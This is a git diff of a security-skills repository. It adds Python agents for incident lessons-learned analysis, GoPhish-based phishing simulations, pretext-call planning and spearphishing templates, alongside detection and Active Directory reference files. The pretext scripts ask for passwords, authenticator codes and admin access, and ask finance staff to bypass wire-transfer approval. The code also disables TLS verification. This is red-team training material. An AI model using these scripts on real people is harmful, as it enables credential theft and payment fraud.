ServiceName', + ], + } + + +def run_detection(log_file=None): + """Execute Pass-the-Ticket detection analysis.""" + print(f"\n{'='*60}") + print(f" PASS-THE-TICKET DETECTION ANALYSIS") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + if log_file: + events = detect_ptt_events(log_file) + print(f"--- EVENT ANALYSIS ({len(events)} detections) ---") + for e in events[:15]: + if "error" not in e: + print(f" [{e['severity']}] {e['type']}: {e.get('account', 'N/A')} from {e.get('source_ip', 'N/A')}") + + rules = generate_sigma_rules() + print(f"\n--- SIGMA RULES ({len(rules)}) ---") + for r in rules: + print(f" [{r['level'].upper()}] {r['title']}") + + queries = generate_hunt_queries() + print(f"\n--- HUNT QUERIES ---") + for platform, qlist in queries.items(): + print(f" {platform.upper()}:") + for q in qlist: + print(f" {q[:80]}...") + + return {"detections": events if log_file else [], "sigma_rules": rules, "hunt_queries": queries} + + +def main(): + parser = argparse.ArgumentParser(description="Pass-the-Ticket Detection Agent") + parser.add_argument("--log-file", help="Windows event log JSON export") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_detection(args.log_file) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-phishing-incident-response/LICENSE b/skills/conducting-phishing-incident-response/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-phishing-incident-response/LICENSE +++ b/skills/conducting-phishing-incident-response/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-post-incident-lessons-learned/LICENSE b/skills/conducting-post-incident-lessons-learned/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-post-incident-lessons-learned/LICENSE +++ b/skills/conducting-post-incident-lessons-learned/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-post-incident-lessons-learned/references/api-reference.md b/skills/conducting-post-incident-lessons-learned/references/api-reference.md new file mode 100644 index 00000000..217a8da6 --- /dev/null +++ b/skills/conducting-post-incident-lessons-learned/references/api-reference.md @@ -0,0 +1,43 @@ +# Post-Incident Lessons Learned — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | API calls to ticketing/SIEM systems | +| jinja2 | `pip install Jinja2` | Report template rendering | +| matplotlib | `pip install matplotlib` | Timeline and metric visualization | + +## Key Metrics + +| Metric | Formula | Target | +|--------|---------|--------| +| MTTD | Detection time - Incident start | < 30 minutes | +| MTTC | Containment time - Detection time | < 60 minutes | +| MTTR | Resolution time - Detection time | < 4 hours | +| Dwell Time | Detection time - Initial compromise | < 24 hours | + +## NIST SP 800-61 Phases + +| Phase | Activities | +|-------|-----------| +| Preparation | Playbooks, tools, training | +| Detection & Analysis | Alert triage, scoping, evidence collection | +| Containment | Short-term and long-term isolation | +| Eradication & Recovery | Root cause removal, system restoration | +| Post-Incident | Lessons learned, action items, metrics | + +## Report Template Sections + +| Section | Content | +|---------|---------| +| Executive Summary | Impact, scope, duration | +| Timeline | Chronological event sequence | +| Root Cause | 5-Whys or fishbone analysis | +| Action Items | Prioritized P1/P2/P3 with owners | + +## External References + +- [NIST SP 800-61 Rev. 2](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final) +- [SANS Incident Handler's Handbook](https://www.sans.org/white-papers/33901/) +- [VERIS Framework](http://veriscommunity.net/) diff --git a/skills/conducting-post-incident-lessons-learned/scripts/agent.py b/skills/conducting-post-incident-lessons-learned/scripts/agent.py new file mode 100644 index 00000000..13af6d2f --- /dev/null +++ b/skills/conducting-post-incident-lessons-learned/scripts/agent.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python3 +"""Post-incident lessons learned analysis agent.""" + +import json +import sys +import argparse +from datetime import datetime + + +def analyze_incident_timeline(incident_data): + """Analyze incident timeline for response gaps.""" + gaps = [] + if not incident_data: + return gaps + events = incident_data.get("timeline", []) + for i in range(1, len(events)): + prev_time = datetime.fromisoformat(events[i-1]["timestamp"]) + curr_time = datetime.fromisoformat(events[i]["timestamp"]) + delta_minutes = (curr_time - prev_time).total_seconds() / 60 + if delta_minutes > 30: + gaps.append({ + "between": f"{events[i-1]['action']} -> {events[i]['action']}", + "gap_minutes": round(delta_minutes), + "severity": "HIGH" if delta_minutes > 120 else "MEDIUM", + "recommendation": "Reduce response time with automated playbooks", + }) + return gaps + + +def calculate_metrics(incident_data): + """Calculate key incident response metrics.""" + timeline = incident_data.get("timeline", []) + if len(timeline) < 2: + return {} + detect_time = None + contain_time = None + resolve_time = None + for event in timeline: + action = event.get("action", "").lower() + ts = datetime.fromisoformat(event["timestamp"]) + if "detect" in action and not detect_time: + detect_time = ts + if "contain" in action and not contain_time: + contain_time = ts + if "resolve" in action or "close" in action: + resolve_time = ts + start = datetime.fromisoformat(timeline[0]["timestamp"]) + metrics = {} + if detect_time: + metrics["mttd_minutes"] = round((detect_time - start).total_seconds() / 60) + if contain_time and detect_time: + metrics["mttc_minutes"] = round((contain_time - detect_time).total_seconds() / 60) + if resolve_time and detect_time: + metrics["mttr_minutes"] = round((resolve_time - detect_time).total_seconds() / 60) + return metrics + + +def generate_action_items(gaps, metrics): + """Generate prioritized action items from analysis.""" + items = [] + if metrics.get("mttd_minutes", 0) > 60: + items.append({ + "priority": "P1", + "area": "Detection", + "action": "Deploy automated detection rules to reduce MTTD below 30 minutes", + "owner": "SOC Engineering", + }) + if metrics.get("mttc_minutes", 0) > 120: + items.append({ + "priority": "P1", + "area": "Containment", + "action": "Implement automated containment playbook in SOAR platform", + "owner": "IR Team", + }) + for gap in gaps: + if gap["severity"] == "HIGH": + items.append({ + "priority": "P2", + "area": "Process", + "action": f"Address {gap['gap_minutes']}min gap in {gap['between']}", + "owner": "IR Manager", + }) + items.append({ + "priority": "P3", + "area": "Training", + "action": "Schedule tabletop exercise within 30 days based on incident scenario", + "owner": "Security Training", + }) + return items + + +def generate_report_template(): + """Generate lessons learned report template.""" + return { + "sections": [ + {"title": "Executive Summary", "content": "Brief overview of incident and impact"}, + {"title": "Incident Timeline", "content": "Chronological sequence of events"}, + {"title": "Root Cause Analysis", "content": "Underlying cause identification"}, + {"title": "What Went Well", "content": "Effective response actions"}, + {"title": "What Needs Improvement", "content": "Gaps and failures identified"}, + {"title": "Action Items", "content": "Prioritized remediation tasks with owners and deadlines"}, + {"title": "Metrics", "content": "MTTD, MTTC, MTTR measurements"}, + {"title": "Appendix", "content": "Supporting evidence, IOCs, detection rules"}, + ], + } + + +def run_analysis(incident_file): + """Execute post-incident lessons learned analysis.""" + print(f"\n{'='*60}") + print(f" POST-INCIDENT LESSONS LEARNED") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + incident_data = {} + if incident_file: + with open(incident_file, "r") as f: + incident_data = json.load(f) + + metrics = calculate_metrics(incident_data) + print(f"--- RESPONSE METRICS ---") + for k, v in metrics.items(): + print(f" {k}: {v} minutes") + + gaps = analyze_incident_timeline(incident_data) + print(f"\n--- TIMELINE GAPS ({len(gaps)}) ---") + for g in gaps: + print(f" [{g['severity']}] {g['between']}: {g['gap_minutes']} min gap") + + items = generate_action_items(gaps, metrics) + print(f"\n--- ACTION ITEMS ({len(items)}) ---") + for item in items: + print(f" [{item['priority']}] {item['area']}: {item['action']}") + + template = generate_report_template() + print(f"\n--- REPORT SECTIONS ---") + for s in template["sections"]: + print(f" - {s['title']}") + + return {"metrics": metrics, "gaps": gaps, "action_items": items, "template": template} + + +def main(): + parser = argparse.ArgumentParser(description="Post-Incident Lessons Learned Agent") + parser.add_argument("--incident-file", help="Incident data JSON file") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_analysis(args.incident_file) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-social-engineering-penetration-test/LICENSE b/skills/conducting-social-engineering-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-social-engineering-penetration-test/LICENSE +++ b/skills/conducting-social-engineering-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-social-engineering-penetration-test/references/api-reference.md b/skills/conducting-social-engineering-penetration-test/references/api-reference.md new file mode 100644 index 00000000..8602722e --- /dev/null +++ b/skills/conducting-social-engineering-penetration-test/references/api-reference.md @@ -0,0 +1,44 @@ +# Social Engineering Penetration Test — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | GoPhish REST API client | +| gophish | `pip install gophish` | Official GoPhish Python client | + +## GoPhish API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/campaigns/` | List all campaigns | +| GET | `/api/campaigns/{id}/results` | Campaign results and metrics | +| POST | `/api/campaigns/` | Create new campaign | +| POST | `/api/templates/` | Create email template | +| POST | `/api/groups/` | Create target group | +| POST | `/api/smtp/` | Create sending profile | +| POST | `/api/pages/` | Create landing page | + +## Campaign Metrics + +| Metric | Formula | +|--------|---------| +| Open Rate | emails_opened / emails_sent x 100 | +| Click Rate | links_clicked / emails_sent x 100 | +| Submit Rate | data_submitted / emails_sent x 100 | +| Report Rate | reported / emails_sent x 100 | + +## Social Engineering Vectors + +| Vector | Tools | +|--------|-------| +| Email Phishing | GoPhish, King Phisher | +| Vishing | Pretext scripts, VoIP tools | +| Physical | Badge cloning, tailgating | +| USB Drops | Rubber Ducky, USB armory | + +## External References + +- [GoPhish API Documentation](https://docs.getgophish.com/api-documentation/) +- [SANS Social Engineering Framework](https://www.social-engineer.org/framework/) +- [MITRE ATT&CK Phishing T1566](https://attack.mitre.org/techniques/T1566/) diff --git a/skills/conducting-social-engineering-penetration-test/scripts/agent.py b/skills/conducting-social-engineering-penetration-test/scripts/agent.py new file mode 100644 index 00000000..64962c53 --- /dev/null +++ b/skills/conducting-social-engineering-penetration-test/scripts/agent.py @@ -0,0 +1,160 @@ +#!/usr/bin/env python3 +"""Social engineering penetration test management agent using GoPhish API.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import requests + requests.packages.urllib3.disable_warnings() +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +class GoPhishClient: + """GoPhish API client for phishing campaign management.""" + + def __init__(self, base_url, api_key): + self.base_url = base_url.rstrip("/") + self.headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"} + + def _get(self, endpoint): + resp = requests.get(f"{self.base_url}/api/{endpoint}", headers=self.headers, verify=False) + resp.raise_for_status() + return resp.json() + + def _post(self, endpoint, data): + resp = requests.post(f"{self.base_url}/api/{endpoint}", headers=self.headers, + json=data, verify=False) + resp.raise_for_status() + return resp.json() + + def list_campaigns(self): + return self._get("campaigns/") + + def get_campaign_results(self, campaign_id): + return self._get(f"campaigns/{campaign_id}/results") + + def create_sending_profile(self, name, host, from_addr, username, password): + return self._post("smtp/", { + "name": name, "host": host, "from_address": from_addr, + "username": username, "password": password, "ignore_cert_errors": True, + }) + + def create_template(self, name, subject, html, text=""): + return self._post("templates/", { + "name": name, "subject": subject, "html": html, "text": text, + }) + + def create_group(self, name, targets): + return self._post("groups/", { + "name": name, + "targets": [{"email": t["email"], "first_name": t.get("first_name", ""), + "last_name": t.get("last_name", "")} for t in targets], + }) + + +def analyze_campaign_results(results): + """Analyze phishing campaign results for metrics.""" + stats = {"total": 0, "sent": 0, "opened": 0, "clicked": 0, "submitted": 0, "reported": 0} + for r in results: + stats["total"] += 1 + status = r.get("status", "").lower() + if status == "email sent": + stats["sent"] += 1 + elif status == "email opened": + stats["opened"] += 1 + elif status == "clicked link": + stats["clicked"] += 1 + elif status == "submitted data": + stats["submitted"] += 1 + if stats["sent"] > 0: + stats["open_rate"] = round(stats["opened"] / stats["sent"] * 100, 1) + stats["click_rate"] = round(stats["clicked"] / stats["sent"] * 100, 1) + stats["submit_rate"] = round(stats["submitted"] / stats["sent"] * 100, 1) + return stats + + +def generate_pretext_scenarios(): + """Generate social engineering pretext scenarios for testing.""" + return [ + { + "scenario": "IT Password Reset", + "pretext": "IT department requires immediate password reset due to security incident", + "vector": "email", + "urgency": "high", + "success_indicator": "User clicks link and enters credentials", + }, + { + "scenario": "CEO Wire Transfer", + "pretext": "CEO requests urgent wire transfer for confidential acquisition", + "vector": "email", + "urgency": "high", + "success_indicator": "User initiates transfer or reveals banking info", + }, + { + "scenario": "Vendor Invoice", + "pretext": "Known vendor sends updated invoice with changed payment details", + "vector": "email", + "urgency": "medium", + "success_indicator": "User opens attachment or clicks payment link", + }, + { + "scenario": "Physical Tailgating", + "pretext": "Contractor with clipboard requests building access", + "vector": "physical", + "urgency": "low", + "success_indicator": "Employee holds door without badge verification", + }, + ] + + +def run_assessment(base_url=None, api_key=None, campaign_id=None): + """Execute social engineering assessment analysis.""" + print(f"\n{'='*60}") + print(f" SOCIAL ENGINEERING PENETRATION TEST") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + if base_url and api_key: + client = GoPhishClient(base_url, api_key) + campaigns = client.list_campaigns() + print(f"--- CAMPAIGNS ({len(campaigns)}) ---") + for c in campaigns[:5]: + print(f" {c['name']}: {c['status']}") + + if campaign_id: + results = client.get_campaign_results(campaign_id) + stats = analyze_campaign_results(results) + print(f"\n--- CAMPAIGN METRICS ---") + for k, v in stats.items(): + print(f" {k}: {v}") + + scenarios = generate_pretext_scenarios() + print(f"\n--- PRETEXT SCENARIOS ({len(scenarios)}) ---") + for s in scenarios: + print(f" [{s['urgency'].upper()}] {s['scenario']}: {s['vector']}") + + return {"scenarios": scenarios} + + +def main(): + parser = argparse.ArgumentParser(description="Social Engineering Pentest Agent") + parser.add_argument("--gophish-url", help="GoPhish server URL") + parser.add_argument("--api-key", help="GoPhish API key") + parser.add_argument("--campaign-id", type=int, help="Campaign ID for results") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_assessment(args.gophish_url, args.api_key, args.campaign_id) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-social-engineering-pretext-call/LICENSE b/skills/conducting-social-engineering-pretext-call/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-social-engineering-pretext-call/LICENSE +++ b/skills/conducting-social-engineering-pretext-call/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-social-engineering-pretext-call/references/api-reference.md b/skills/conducting-social-engineering-pretext-call/references/api-reference.md new file mode 100644 index 00000000..a1b41f65 --- /dev/null +++ b/skills/conducting-social-engineering-pretext-call/references/api-reference.md @@ -0,0 +1,52 @@ +# Social Engineering Pretext Call — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | API integration with tracking platforms | +| twilio | `pip install twilio` | Programmatic phone call management | +| jinja2 | `pip install Jinja2` | Pretext script template rendering | + +## Pretext Call Phases + +| Phase | Description | +|-------|-------------| +| Reconnaissance | Research target name, role, department, reporting chain | +| Pretext Development | Create believable scenario and script | +| Call Execution | Make the call, follow script, adapt to responses | +| Documentation | Record outcome, information obtained, duration | +| Analysis | Calculate success rates, identify vulnerable departments | + +## Success Criteria Categories + +| Category | Description | +|----------|-------------| +| Full Success | Target provided credentials, access, or completed action | +| Partial Success | Target revealed organizational info but not credentials | +| Failed | Target refused or became suspicious | +| Reported | Target reported the call to security team | + +## Key Metrics + +| Metric | Formula | +|--------|---------| +| Success Rate | successful_calls / total_calls x 100 | +| Report Rate | calls_reported_to_security / total_calls x 100 | +| Avg Call Duration | total_duration / total_calls | +| Dept Vulnerability | dept_successes / dept_total x 100 | + +## Legal Considerations + +| Requirement | Description | +|-------------|-------------| +| Written Authorization | Signed Rules of Engagement from client | +| Recording Consent | Follow state/jurisdiction recording laws | +| Scope Boundaries | Only call authorized targets | +| Data Handling | Securely store any obtained credentials, delete after report | + +## External References + +- [Social Engineering Framework](https://www.social-engineer.org/framework/) +- [PTES Pre-engagement Guidelines](http://www.pentest-standard.org/) +- [Twilio Voice API](https://www.twilio.com/docs/voice) diff --git a/skills/conducting-social-engineering-pretext-call/scripts/agent.py b/skills/conducting-social-engineering-pretext-call/scripts/agent.py new file mode 100644 index 00000000..d9cd9839 --- /dev/null +++ b/skills/conducting-social-engineering-pretext-call/scripts/agent.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +"""Social engineering pretext call planning and tracking agent.""" + +import json +import sys +import argparse +from datetime import datetime + + +def generate_pretext_templates(): + """Generate pretext call templates for authorized engagements.""" + return [ + { + "name": "IT Help Desk Password Reset", + "target_role": "General employee", + "objective": "Obtain credentials or MFA bypass", + "opening": "Hi, this is [Name] from the IT help desk. We noticed unusual activity on your account.", + "key_questions": [ + "Can you verify your employee ID?", + "What is your current password so we can compare against the compromised list?", + "Can you read me the code from your authenticator app?", + ], + "success_criteria": "Target provides password, MFA token, or confirms identity details", + "difficulty": "easy", + }, + { + "name": "Executive Assistant Urgency", + "target_role": "Executive assistant / Finance", + "objective": "Initiate wire transfer or reveal financial info", + "opening": "Hi, this is [Name] calling on behalf of [CEO]. They need an urgent wire processed.", + "key_questions": [ + "Can you process this payment today?", + "What account do we usually wire from?", + "The CEO said to skip the usual approval — can you make an exception?", + ], + "success_criteria": "Target initiates process or reveals account details", + "difficulty": "hard", + }, + { + "name": "Vendor Support Callback", + "target_role": "IT administrator", + "objective": "Gain remote access or credential disclosure", + "opening": "This is [Name] from [Vendor] support returning your call about the ticket.", + "key_questions": [ + "Can you give me remote access to troubleshoot?", + "What is the admin password for the [system]?", + "Can you add our support account to the admin group temporarily?", + ], + "success_criteria": "Target provides remote access or admin credentials", + "difficulty": "medium", + }, + ] + + +def create_call_tracking_sheet(targets): + """Create tracking sheet for pretext calls.""" + tracking = [] + for target in targets: + tracking.append({ + "name": target.get("name", ""), + "phone": target.get("phone", ""), + "department": target.get("department", ""), + "pretext": target.get("pretext", "IT Help Desk"), + "status": "pending", + "result": None, + "info_obtained": [], + "call_duration": None, + "notes": "", + }) + return tracking + + +def analyze_results(call_results): + """Analyze pretext call results for reporting.""" + total = len(call_results) + success = sum(1 for c in call_results if c.get("result") == "success") + partial = sum(1 for c in call_results if c.get("result") == "partial") + failed = sum(1 for c in call_results if c.get("result") == "failed") + reported = sum(1 for c in call_results if c.get("result") == "reported") + return { + "total_calls": total, + "successful": success, + "partial_success": partial, + "failed": failed, + "reported_to_security": reported, + "success_rate": round(success / max(total, 1) * 100, 1), + "report_rate": round(reported / max(total, 1) * 100, 1), + } + + +def run_planning(targets_file=None, results_file=None): + """Execute pretext call planning and analysis.""" + print(f"\n{'='*60}") + print(f" SOCIAL ENGINEERING PRETEXT CALL PLANNER") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + templates = generate_pretext_templates() + print(f"--- PRETEXT TEMPLATES ({len(templates)}) ---") + for t in templates: + print(f" [{t['difficulty'].upper()}] {t['name']}") + print(f" Target: {t['target_role']}") + print(f" Objective: {t['objective']}") + + if targets_file: + with open(targets_file, "r") as f: + targets = json.load(f) + sheet = create_call_tracking_sheet(targets) + print(f"\n--- TRACKING SHEET ({len(sheet)} targets) ---") + for s in sheet[:10]: + print(f" {s['name']} ({s['department']}): {s['pretext']}") + + if results_file: + with open(results_file, "r") as f: + results = json.load(f) + metrics = analyze_results(results) + print(f"\n--- CAMPAIGN METRICS ---") + for k, v in metrics.items(): + print(f" {k}: {v}") + + return {"templates": templates} + + +def main(): + parser = argparse.ArgumentParser(description="Pretext Call Planning Agent") + parser.add_argument("--targets", help="Target list JSON file") + parser.add_argument("--results", help="Call results JSON file for analysis") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_planning(args.targets, args.results) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-spearphishing-simulation-campaign/LICENSE b/skills/conducting-spearphishing-simulation-campaign/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-spearphishing-simulation-campaign/LICENSE +++ b/skills/conducting-spearphishing-simulation-campaign/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-spearphishing-simulation-campaign/references/api-reference.md b/skills/conducting-spearphishing-simulation-campaign/references/api-reference.md new file mode 100644 index 00000000..7b070a2e --- /dev/null +++ b/skills/conducting-spearphishing-simulation-campaign/references/api-reference.md @@ -0,0 +1,46 @@ +# Spearphishing Simulation Campaign — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | GoPhish REST API client | +| gophish | `pip install gophish` | Official GoPhish Python SDK | +| jinja2 | `pip install Jinja2` | Email template rendering | + +## GoPhish API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/api/campaigns/` | Launch new phishing campaign | +| GET | `/api/campaigns/{id}/summary` | Campaign results summary | +| GET | `/api/campaigns/{id}/results` | Detailed per-target results | +| POST | `/api/templates/` | Create email template | +| POST | `/api/pages/` | Create credential capture landing page | +| POST | `/api/groups/` | Create target recipient group | + +## GoPhish Template Variables + +| Variable | Description | +|----------|-------------| +| `{{.FirstName}}` | Target's first name | +| `{{.LastName}}` | Target's last name | +| `{{.Email}}` | Target's email address | +| `{{.Position}}` | Target's job title | +| `{{.From}}` | Sender display name | +| `{{.URL}}` | Tracking/phishing link | + +## Campaign Metrics + +| Metric | Description | Industry Avg | +|--------|-------------|-------------| +| Open Rate | Percentage who opened email | 30-40% | +| Click Rate | Percentage who clicked link | 10-20% | +| Submit Rate | Percentage who entered data | 5-10% | +| Report Rate | Percentage who reported to IT | 5-15% | + +## External References + +- [GoPhish User Guide](https://docs.getgophish.com/) +- [GoPhish API Docs](https://docs.getgophish.com/api-documentation/) +- [MITRE T1566.001 Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001/) diff --git a/skills/conducting-spearphishing-simulation-campaign/scripts/agent.py b/skills/conducting-spearphishing-simulation-campaign/scripts/agent.py new file mode 100644 index 00000000..b49c253c --- /dev/null +++ b/skills/conducting-spearphishing-simulation-campaign/scripts/agent.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 +"""Spearphishing simulation campaign agent using GoPhish API.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import requests + requests.packages.urllib3.disable_warnings() +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +class GoPhishCampaign: + """GoPhish campaign manager for spearphishing simulations.""" + + def __init__(self, base_url, api_key): + self.url = base_url.rstrip("/") + self.headers = {"Authorization": f"Bearer {api_key}"} + + def _req(self, method, endpoint, data=None): + resp = requests.request(method, f"{self.url}/api/{endpoint}", + headers=self.headers, json=data, verify=False) + resp.raise_for_status() + return resp.json() + + def create_campaign(self, name, template_id, page_id, smtp_id, group_id, launch_date=None): + return self._req("POST", "campaigns/", { + "name": name, "template": {"id": template_id}, + "page": {"id": page_id}, "smtp": {"id": smtp_id}, + "groups": [{"id": group_id}], + "launch_date": launch_date or datetime.utcnow().isoformat() + "Z", + }) + + def get_summary(self, campaign_id): + return self._req("GET", f"campaigns/{campaign_id}/summary") + + def list_campaigns(self): + return self._req("GET", "campaigns/") + + def complete_campaign(self, campaign_id): + return self._req("DELETE", f"campaigns/{campaign_id}") + + +def generate_spearphish_templates(): + """Generate targeted spearphishing email templates.""" + return [ + { + "name": "Shared Document Notification", + "subject": "{{.FirstName}}, {{.From}} shared a document with you", + "category": "credential_harvest", + "difficulty": "easy", + }, + { + "name": "IT Security Alert", + "subject": "Action Required: Unusual sign-in activity on your account", + "category": "credential_harvest", + "difficulty": "medium", + }, + { + "name": "Payroll Update Request", + "subject": "Important: Verify your direct deposit information", + "category": "credential_harvest", + "difficulty": "medium", + }, + { + "name": "Conference Registration", + "subject": "Your registration for {{.Position}} Summit is confirmed", + "category": "link_click", + "difficulty": "hard", + }, + ] + + +def analyze_campaign_metrics(summary): + """Analyze campaign summary for executive reporting.""" + stats = summary.get("stats", {}) + total = stats.get("total", 1) + return { + "total_targets": total, + "emails_sent": stats.get("sent", 0), + "emails_opened": stats.get("opened", 0), + "links_clicked": stats.get("clicked", 0), + "data_submitted": stats.get("submitted_data", 0), + "reported": stats.get("email_reported", 0), + "open_rate_pct": round(stats.get("opened", 0) / max(total, 1) * 100, 1), + "click_rate_pct": round(stats.get("clicked", 0) / max(total, 1) * 100, 1), + "submit_rate_pct": round(stats.get("submitted_data", 0) / max(total, 1) * 100, 1), + } + + +def run_simulation(base_url=None, api_key=None, campaign_id=None): + """Execute spearphishing simulation analysis.""" + print(f"\n{'='*60}") + print(f" SPEARPHISHING SIMULATION CAMPAIGN") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + templates = generate_spearphish_templates() + print(f"--- SPEARPHISH TEMPLATES ({len(templates)}) ---") + for t in templates: + print(f" [{t['difficulty'].upper()}] {t['name']}: {t['subject'][:60]}") + + if base_url and api_key: + client = GoPhishCampaign(base_url, api_key) + if campaign_id: + summary = client.get_summary(campaign_id) + metrics = analyze_campaign_metrics(summary) + print(f"\n--- CAMPAIGN METRICS ---") + for k, v in metrics.items(): + print(f" {k}: {v}") + return {"templates": templates, "metrics": metrics} + + return {"templates": templates} + + +def main(): + parser = argparse.ArgumentParser(description="Spearphishing Simulation Agent") + parser.add_argument("--gophish-url", help="GoPhish server URL") + parser.add_argument("--api-key", help="GoPhish API key") + parser.add_argument("--campaign-id", type=int, help="Campaign ID for metrics") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_simulation(args.gophish_url, args.api_key, args.campaign_id) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-wireless-network-penetration-test/LICENSE b/skills/conducting-wireless-network-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-wireless-network-penetration-test/LICENSE +++ b/skills/conducting-wireless-network-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-active-directory-tiered-model/LICENSE b/skills/configuring-active-directory-tiered-model/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-active-directory-tiered-model/LICENSE +++ b/skills/configuring-active-directory-tiered-model/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-active-directory-tiered-model/references/api-reference.md b/skills/configuring-active-directory-tiered-model/references/api-reference.md new file mode 100644 index 00000000..d1a2b1a2 --- /dev/null +++ b/skills/configuring-active-directory-tiered-model/references/api-reference.md @@ -0,0 +1,49 @@ +# Active Directory Tiered Model — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| ldap3 | `pip install ldap3` | LDAP queries for AD group and account enumeration | +| pyad | `pip install pyad` | Windows AD object manipulation | + +## Key ldap3 Methods + +| Method | Description | +|--------|-------------| +| `Connection(server, user, password, authentication=NTLM)` | NTLM-authenticated LDAP bind | +| `conn.search(base_dn, filter, attributes)` | Search AD objects | +| `conn.entries` | Result entries from search | + +## AD Tier Definitions (Microsoft ESAE) + +| Tier | Assets | Admin Accounts | +|------|--------|----------------| +| Tier 0 | Domain Controllers, AD, PKI, ADFS | Domain Admins, Enterprise Admins | +| Tier 1 | Member servers, applications | Server admins, app admins | +| Tier 2 | Workstations, end users | Help desk, workstation admins | + +## Critical AD Groups (Tier 0) + +| Group | SID Suffix | +|-------|-----------| +| Domain Admins | -512 | +| Enterprise Admins | -519 | +| Schema Admins | -518 | +| Administrators | -544 | +| Account Operators | -548 | +| Backup Operators | -551 | + +## UserAccountControl Flags + +| Flag | Value | Description | +|------|-------|-------------| +| ACCOUNTDISABLE | 0x2 | Account is disabled | +| DONT_EXPIRE_PASSWORD | 0x10000 | Password never expires | +| NOT_DELEGATED | 0x100000 | Account is sensitive for delegation | + +## External References + +- [Microsoft ESAE Architecture](https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model) +- [ldap3 Documentation](https://ldap3.readthedocs.io/) +- [AD Security Best Practices](https://adsecurity.org/) diff --git a/skills/configuring-active-directory-tiered-model/scripts/agent.py b/skills/configuring-active-directory-tiered-model/scripts/agent.py new file mode 100644 index 00000000..819582b8 --- /dev/null +++ 